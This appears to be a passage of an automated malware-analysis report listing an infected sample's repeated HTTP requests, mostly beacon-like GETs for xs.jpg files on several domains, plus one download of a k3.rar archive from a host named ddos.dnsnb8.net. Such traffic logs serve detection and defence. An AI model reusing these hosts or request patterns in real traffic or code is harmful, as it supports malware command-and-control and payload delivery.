                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?963c82=39383560 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159208|1720159208|0|1|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?a9ea3a=22271092 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159209|1720159209|0|1|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?b7b144=96307744 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159210|1720159210|0|1|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?ca9c78=119504952 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?d1e2b6=82530372 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /cj//k3.rar HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?11838a2=36729156 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159214|1720159208|3|2|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?12c0da8=39328592 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159214|1720159209|2|2|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?14ce734=130902840 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159215|1720159210|2|2|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?15a39ca=204212250 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?174d281=24433281 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?221ae27=321855327 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159217|1720159208|3|3|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?235836c=111184452 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159219|1720159209|3|3|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?26da991=81482530 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159219|1720159210|3|3|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?27afc36=374529510 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?28f128c=128792484 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?2ed8448=294721968 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159225|1720159208|5|4|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?3019abc=302620776 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159226|1720159209|5|4|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?31491f6=51679734 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159226|1720159210|5|4|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?34684a5=54953125 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?35a0bf9=562329530 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?3bf8e4d=62885453 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159229|1720159208|4|5|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?3d3a4b2=128403812 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159230|1720159209|4|5|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?3e6e97f=65464703 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159230|1720159210|4|5|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?3f3ee61=66317921 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?43295c0=563392000 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?47379df=373383515 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159233|1720159208|4|6|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?4fedff7=419061715 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159234|1720159209|4|6|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?5648852=90474578 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159234|1720159210|4|6|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?5b6c481=287591811 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?654fad3=956092779 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?71f7cbe=478016248 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159237|1720159208|4|7|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?7bdce87=1298796870 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159238|1720159209|4|7|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?823b9f5=1229031837 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159238|1720159210|4|7|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?87676bf=993869625 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?9010004=906362904 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?9bcb84a=326725780 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159241|1720159208|4|8|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?a33c7a9=1540490481 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159242|1720159209|4|8|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?a8b8247=707660060 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159243|1720159210|4|8|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?c8cad9e=1052730390 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?d17ad7a=1098277730 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?e8ebb07=-2096852161 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159245|1720159208|4|9|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?ef54526=-1785416836 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159246|1720159209|4|9|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?f396007=510836750 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159249|1720159210|5|9|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?fb097cd=1842620059 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1017493b=1349807655 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?10ed67fd=1987958763 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159253|1720159208|6|10|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?118d68fd=1472400625 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159254|1720159209|6|10|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?11e16078=899948904 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159254|1720159210|5|10|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?1239c7e1=2140436263 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?12c69143=1260012812 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?13a2f3e7=329446375 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159257|1720159208|5|11|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?14cdee4b=349040203 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159257|1720159209|4|11|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?15136c45=353594437 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159258|1720159210|4|11|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?15a06cb5=-666616046 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1616ff23=1482423436 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?16fa95a6=-439756676 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159261|1720159208|4|12|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?1763225c=-1155984672 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159263|1720159209|5|12|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?17b796b8=1591630560 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159264|1720159210|5|12|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?1810ba1e=-1468721454 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?189e6034=1652130000 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?196cfa85=-1308960349 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159266|1720159208|4|13|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?1a08d9e7=1747150748 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159267|1720159209|4|13|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?1a62f99e=442694046 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159267|1720159210|4|13|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?1aa9008f=-1611267238 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1b587445=292850354 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?1c7d0e18=-471306048 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159270|1720159208|4|14|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?1d1fe4cd=1465888359 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159270|1720159209|3|14|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?1d74f53a=1976816872 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159271|1720159210|4|14|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?1eda9402=881444884 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?20477b5a=37477072 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?21e29ffa=821534666 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159275|1720159208|4|15|0
